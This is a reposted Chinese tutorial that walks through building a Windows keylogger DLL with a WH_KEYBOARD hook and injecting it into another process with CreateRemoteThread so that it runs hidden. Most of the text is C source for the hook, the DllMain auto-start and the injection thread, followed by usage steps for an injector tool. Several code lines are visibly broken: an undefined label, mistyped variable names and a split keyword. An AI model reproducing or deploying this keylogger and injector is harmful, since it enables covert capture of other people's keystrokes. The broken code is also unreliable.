您的位置:首页 > 其它

远程注入DLL实现进程隐藏以及键盘记录器

2011-01-20 14:22 507 查看

HOOK技术实现键盘记录器

远程注入
DLL
实现进程隐藏以及键盘记录器

在这篇文章里我将详细讲述从创建
DLL
实现键盘记录到将该
DLL
注入到指定的进程中以实现隐藏进程的过程。

首先第一步我们要编写一个能够实现键盘记录的
DLL
文件,实现键盘记录的方法有很多,这里我采用的是
HOOK
系统消息
WH_KEYBOARD
的方式实现记录键盘的输入内容。

在我讲述程序实现思路之前,有一点需要跟各位说明一下。我需要先说一下
DllMain
()这个函数。对于这个函数我总结了
3
点:

第一点:标志。

一个
DLL
加载到了一个进程中,它到底加载到哪里去了?这是一个疑问,我们知道在
Windows
下每个进程都有一个句柄,其实每个被加载的
DLL
也有一个句柄(但是在一般情况下我们不太关注这个句柄),这个句柄可以理解成这个
DLL
的一个标志,通过这个句柄我们可以找到关于这个
DLL
的很多信息,其中当然也包括“加载到哪里了”。这个句柄就是
DLLMain
()函数中的第一个参数所指定的,他是有系统分配的,我们在程序中可以直接调用。

第二点:大门。

“大门”两字该如何理解呢?其实很简单,就如同我们家里的门一样,你要想从回家或者是去上班都要走大门,那么对于
DLL
文件呢?众所周知,
DLL
里面存放的是函数,你想要是用
DLL
中的函数,首先要经过“大门”;你使用完了这些函数,不想在用这个
DLL
了,需要先离开了,那么也要经过大门。(当然这个理解有点狭隘,但是我想对于初学者来说是足够了。随着以后对
DLL
文件的不断深入了解,你必然会对这个函数有个重新的理解吧~)。“大门”二字对应的是
DLLMain
()函数的第三个参数
lpReserved

lpReserved
会指定你当前通过这个“大门”是处于那种状态(进或者是出)。在
windows
下这个参数有以下四个值:

DLL_PROCESS_ATTACH

进程加载DLL

DLL_PROCESS_DETACH

进程卸载DLL

DLL_THREAD_ATTACH

线程加载DLL

DLL_THREAD_DETACH

线程卸载DLL

我们可以看到,抛开进程与线程的区别,它其实只有两个含义:加载与卸载。而加载也就是我说的“进”,卸载也就是我说的“出”。那么什么情况下会走到“进”这条路,什么情况下会走到“出”这条路呢?有个很简单的判断,用
LoadLibrary()
函数动态链接
DLL
文件的时候走的就是“进”,用
FreeLibrary()
函数来解除
DLL
文件时走的就是“出”。除此之外还有静态加载
/
解除
DLL
,这里就不多讲了。

第三点:控制器。

这点我想了很多词都无法表达我想要的那个意思,只能找一个比较贴近的词来形容一下了。

在一般情况下,对于大多数人来,我们在编程
DLL
文件的时候可以不必要关心
DllMain()
函数的,因为
DLL
的主要功能是提供以下可供程序调用的函数。但是在某些情况下,
DLL
会舍弃它的这个功能,但是他的作用依然强大。比如以下:

现在假设某
DLL
不对为提供任何一个函数,但是其内部却存在大量的函数。(只是不对外提供,并不等于没有~~)。从前面我们知道,
DLL
在被加载的时候会运行
DllMain
()函数,那么我们现在完全可以在
DllMain
()函数中创建一个线程,在创建的线程中执行该
DLL
文件中的代码(比方说我们这里键盘记录)。
DllMain
函数通过在加载
/
解除
DLL
时候控制程序的运行,这里基本上起到了一个控制器的作用。

关于
DllMain()
函数就说这么多吧。我说的都是我在程序中需要用到的地方,关于
DllMain
以及
Dll
文件更多的描述大家就到网上参考吧。

接下来我会详细说一下实现键盘记录的整个过程。

第一步:创建
Dll
文件,该
Dll
文件是整个程序的核心,它具体的实现了键盘记录器的核心功能。

1
创建
Dll
文件

2
建立共享数据段,关于共享数据段的建立参照以下程序:

#pragma
data_seg
("mydata")

FILE *fp = NULL;

/*
该指针指向我们需要打开的文件以存放从键盘输入的信息
*/

int
num = 0;

/*
输入文件的字符数
*/

#pragma
data_seg
()

#pragma
comment
(linker,"/section:mydata,rws")

3
定义全局键盘钩子指针

HHOOK glhHookKey =
NULL;
/*
在为系统消息
WH_KEYBOARD
挂钩之后会返回该指针
*/

4
定义当前
DLL
句柄指针

HINSTANCE
glhInstance=NULL;
/*
如前面所述,该指针将在
DllMain()
函数中进行初始化
*/

5
定义函数
starthook()
,如同该函数名字一样,这是用来开始为
系统消息
WH_KEYBOARD
挂钩

int starthook()

{

int
num=0;

/*

SetWindowsHookEx
()
函数为加载钩子的主要函数,大家可以在网上详细查看一下该函数的用法
*/

glhHookKey =
SetWindowsHookEx(WH_KEYBOARD,KeyProc,glhInstance,0);

if
(glhHookKey == NULL)

{

/*
在实际测试过程中偶尔会出现加载钩子失败的场合,在这种场合下重新加载一次往往能够成功,所以代码在实现加载钩子的构成中会进行重试。
*/

Sleep(1000);

if
(num<5)

{

num++;

goto
RETRY;

}

MessageBox(NULL,"Key hook
faild
",0,0);

return
false
;

}

else
/*
如果成功会在
c://keyLog.txt

中显示相应的成功信息,同时在将来记录键盘输入的信息也会输出到该文件中
*/

{

p =
fopen("c://keyLog.txt","at+");

if
(fp !=
NULL)

{

fprintf(fp,"/nKey Record
start./n");

fclose(fp);

}

else

{

MessageBox(NULL,"open file
err",0,0);

StopHook();

return
1;

}

return

true;

}

}

大家肯定注意到在上面的代码中有
KeyProc
未定义,这是钩子的响应函数,在下面我会介绍这个函数。

6
定义函数
stophook(),
这个函数使用来卸载钩子的。

int stophook()

{

BOOL bResult=false
;

if(
glhHookKey
)

{

bResult = UnhookWindowsHookEx(glhHook);

}

r

eturn

bResult
;

}

7
定义函数
KeyProc
()
,这个函数是钩子的响应函数,也可以说是本程序的核心函数。

注意:函数的格式一定要如下所示。

LRESULT CALLBACK
KeyProc (int
nCode,WPARAM wparam,LPARAM lparam)

{

int vKey = 0;

vKey=(int
)
wparam;

if
(lparam & 0x80000000)

{

/*
此处文件可自由定义
*/

fp =
fopen("c://keyLog.txt","at+");

if
(fp ==
NULL)

{

return
CallNextHookEx(glhHook,nCode,wparam,lparam);

}

if(
vKey >=48 && vKey<=57
) /* num
0~9 */

{

fprintf(fp,"%c",vKey);

}

if
(fp
!
= NULL)

{

fclose(fp);

}

}

return

CallNextHookEx(glhHook,nCode,wparam,lparam);

}

由于篇幅有限,在这里只对数字键
0

9
进行了处理。详细的请参照源代码。

8.
接下来需要处理的就是
DllMain()
函数了

BOOL
APIENTRY DllMain( HINSTANCE hInstance,

DWORD
ul_reason_for_call,

LPVOID lpReserved

)

{

if
(ul_reason_for_call == DLL_PROCESS_ATTACH)

{

}

else
if
(ul_reason_for_call == DLL_PROCESS_DETACH)

{

}

else
if
(ul_reason_for_call == DLL_THREAD_ATTACH)

{

glhInstance = hInstance;

StartHook();

}

else
if
(ul_reason_for_call == DLL_THREAD_DETACH)

{

StopHook();

}

else

{

}

return
TRUE;

}

好了,到此为止我们的
DLL
文件就搞定了~~。

分析:在该
Dll
文件中我们没有导出任何一个函数,但是当程序在加载
Dll
文件的时候会自动执行钩子,在程序卸载
Dll
文件的时候会自动卸载钩子。接下来需要做的就只有在指定的进程中加载该
dll
文件了。

但是在我的实际代码中我将其中的函数都导出了,这个主要是为了介绍另一种运行远程
DLL
中函数的方法。

第二部:创建
exe
程序,实现远程注入
DLL


程序实现思路:

1.

程序首先需要根据用户输入的进程名找到与之对应的进程
PID

。应为在以后的处理中会用到该
pid


2.

打开指定进程并将指定
DLL

加载到指定进程中。

3.

在打开进程中创建远程线程使其能够运行指定
DLL

中的函数。

关于根据用户输入的进程名找到与之对应的进程
PID
这部分就不相信叙述了,大家看源代码就好了。这个比较好理解。接下来说一下程序关键部分。

程序关键代码主要有两块:

1
创建远程实现
DLL
注入

2
创建远程线程运行注入的
DLL
中的函数

在详细介绍上述两部分之前我们先来了解一下几个系统函数:

1.

OpenProcess

()该函数用来打开指定的进程并返回指定进程的句柄,在接下来的处理当中会多次用到该函数返回的进程的句柄。说白了就是让当前进程可以通过某一种方式取的另一个进程的控制权。

2.

VirtualAllocEx

()该函数用来在一个远程进程中申请空间。大家可能会问为什么要在远程进程中申请空间,其实就是为了将你想要执行的代码以及指定代码所需要的数据写入到该进程中

3.

WriteProcessMemory

()该函数的作用就是在远程进程中写入数据了,所用到的空间就是上面那个函数申请的那段空间了。

4.

CreateRemoteThread

()该函数是最关键的,用来创建远程线程,即在你使用
OpenProcess
()函数打开的进程中指定你用
WriteProcessMemory
()函数写入的代码。

关于上述几个函数我就简单的介绍一下,为了方便阅读源代码,大家还是最好能够详细看一下上述函数的说明。

准备工作差不多完了,废话不多少,直接上源代码了。

下面这个结构体是创建的远程线程的参数

typedef
struct

{

PTHREAD_START_ROUTINE fnMessageBox;
//
远程进程中
MessageBox
()函数的地址

PTHREAD_START_ROUTINE fnLoadLibrary;
//
远程进程中
LoadLibrary
()函数的地址

PTHREAD_START_ROUTINE fnFreeLibrary;
//
远程进程中
LoadLibrary
()函数的地址

PTHREAD_START_ROUTINE fnGetProcAddress;
//
远程进程中
GetProcAddress
()函数的地址

PTHREAD_START_ROUTINE fnGetModuleHandle;
//
远程进程中
GetModuleHandle
()函数的地址

PTHREAD_START_ROUTINE fnStartHook;
//
中远程进程
StartHook
()函数的地址

PTHREAD_START_ROUTINE fnSleep;
//
远程进程中
Sleep
()函数的地址

int

LoadOrFree;

//
加载
DLL
或卸载
DLL
的标志

char
MyDllName[32];
/* "c://KeyRecord.dll" */

char
MyDllNameEx[32];
/* "KeyRecord" */

char
FUN_StartHook[32];
/* "StartHook" */

char
FUN_StopHook[32];
/* "StopKook" */

}RemotePara;

在这个结构中有好多的“远程进程中”,关于这个问题不懂的你就去补补操作系统原理吧。一句话解释一下,远程线程中所用的函数必须是在远程线程的地址空间中的地址。

上述结构体在创建远程线程之前就调用
WriteProcessMemory
()写入到远程进程的地址空间中了,详细请参照源代码。

远程线程的流程:

1
加载
MyDllName
指定的
Dll
文件,在这里需写名全路径,要不然会找不到的。

2
取得
该DLL
中StartHook
()函数的地址

3
取得该DLL
中StopHook
()函数的地址

4
根据
LoadOrFree
的值运行
StartHook
()函数或是
StopHook
()函数

注:在运行
StartHook
函数的时候需要使远程线程休眠,否则其中的钩子会失效的。

以下是远程线程的源代码:

DWORD __stdcall
ThreadProc(RemotePara * lpPara)

{

typedef
HMODULE (__stdcall
*M_LoadLibrary)(LPCTSTR);

typedef
int
(__stdcall
*M_FreeLibrary)(HMODULE);

typedef
HANDLE (__stdcall
*M_GetProcAddress)(HMODULE,LPCSTR);

typedef
HMODULE (__stdcall
*M_GetModuleHandle)(LPCTSTR);

typedef
int
(__stdcall
*M_StartHook)();

typedef
int
(__stdcall
*M_StoptHook)();

typedef
int
(__stdcall
*M_MessageBox)(HWND,LPCTSTR,LPCTSTR,DWORD);

typedef
int
(__stdcall
*M_Sleep)(int
);

M_LoadLibrary
MyLoadLibrary;

M_FreeLibrary
MyFreeLibrary;

M_GetProcAddress
MyGetProcAddress;

M_GetModuleHandle
MyGetModuleHandle;

M_StartHook
MyStartHook;

M_StoptHook

MyStopHook;

M_MessageBox
MyMessageBox;

M_Sleep
MySleep;

MyLoadLibrary
=
(M_LoadLibrary)lpPara->fnLoadLibrary;

MyFreeLibrary
=
(M_FreeLibrary)lpPara->fnFreeLibrary;

MyGetProcAddress =
(M_GetProcAddress)lpPara->fnGetProcAddress;

MyGetModuleHandle =
(M_GetModuleHandle)lpPara->fnGetModuleHandle;

MyMessageBox
=
(M_MessageBox)lpPara->fnMessageBox;

MySleep
=
(M_Sleep)lpPara->fnSleep;

if
(!lpPara->LoadOrFree)

{

if
(MyLoadLibrary(lpPara->MyDllName)==NULL)

{

MyMessageBox(NULL,lpPara->MyDllName,lpPara->MyDllName,0);

return
0;

}

MyStartHook =
(M_StartHook)MyGetProcAddress(MyGetModuleHandle(lpPara->MyDllNameEx),lpPara->FUN_StartHook);

if
(MyStartHook
== NULL)

{

MyMessageBox(NULL,lpPara->FUN_StartHook,lpPara->FUN_StartHook,0);

return
0;

}

/*
其实一下
MyStartHook
()这个函数完全不需要运行的,因为从前面的代码我们知道在加载
DLL
文件的时候
StartHook
函数就已经运行过了,也就是说钩子已经加载过了。这里我写上这段代码主要是为了说明一下如何运行远程注入
DLL
文件中的函数
*/

if(MyStartHook())

{

MyMessageBox(NULL,lpPara->FUN_StartHook,lpPara->FUN_StartHook,0);

}

MySleep(100000000);

}

else

{

MyStopHook =
(M_StoptHook)MyGetProcAddress(MyGetModuleHandle(lpPara->MyDllNameEx),lpPara->FUN_StopHook);

if
(MyStopHook
== NULL)

{

MyMessageBox(NULL,lpPara->FUN_StopHook,lpPara->FUN_StopHook,0);

return
0;

}

STOP:

if
(!MyStopHook())

{

MySleep(1000);

goto
STOP;

}

if
(!MyFreeLibrary(MyGetModuleHandle(lpPara->MyDllNameEx)))

{

MyMessageBox(NULL,lpPara->MyDllName,lpPara->MyDllName,0);

return
0;

}

}

return
0;

}

在上述源代码中大家需要注意一下远程线程定义的格式。

到了现在大家一定有疑问如何取得远程程序中那些函数的地址。

关于上述提到的那些函数都是位于系统的几个基本库里面的,在
Windows
中,
Kernel32

user32
这两个
DLL
库在所有进程中都会加载到同一个位置。也就是说,你在当前进程中取的上面两个库文件中的函数的地址,那么在其他进程中,上述函数的地址也是一样的。

好了,大概就说这么多吧。程序这个事情说的再多说不明白,还是看源代码来的快。

关于源代码的介绍:

1
源代码结构,分为两部分:一部分是
DLL
源文件(
KeyRecord
),另一部分是
DLL
注入工具(
InsertDll


2
使用方法:

首先编译
DLL
文件,然后将
DLL
文件放入
C
盘跟目录(我在
DLL
注入工具里面设置的目录就是
C
盘,这个大家可以通过修改源代码来进行修正)

然后编译
DLL
注入工具,运行的方法为:

InsertDll.exe
进程名称

(加载
DLL
并启动钩子)

InsertDll.exe
进程名称
FREE
(停止钩子并卸载
DLL


源代码我不知道怎么和文章传到一起,我放到CSDN的下载里面去了。

HOOK技术实现键盘记录器

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: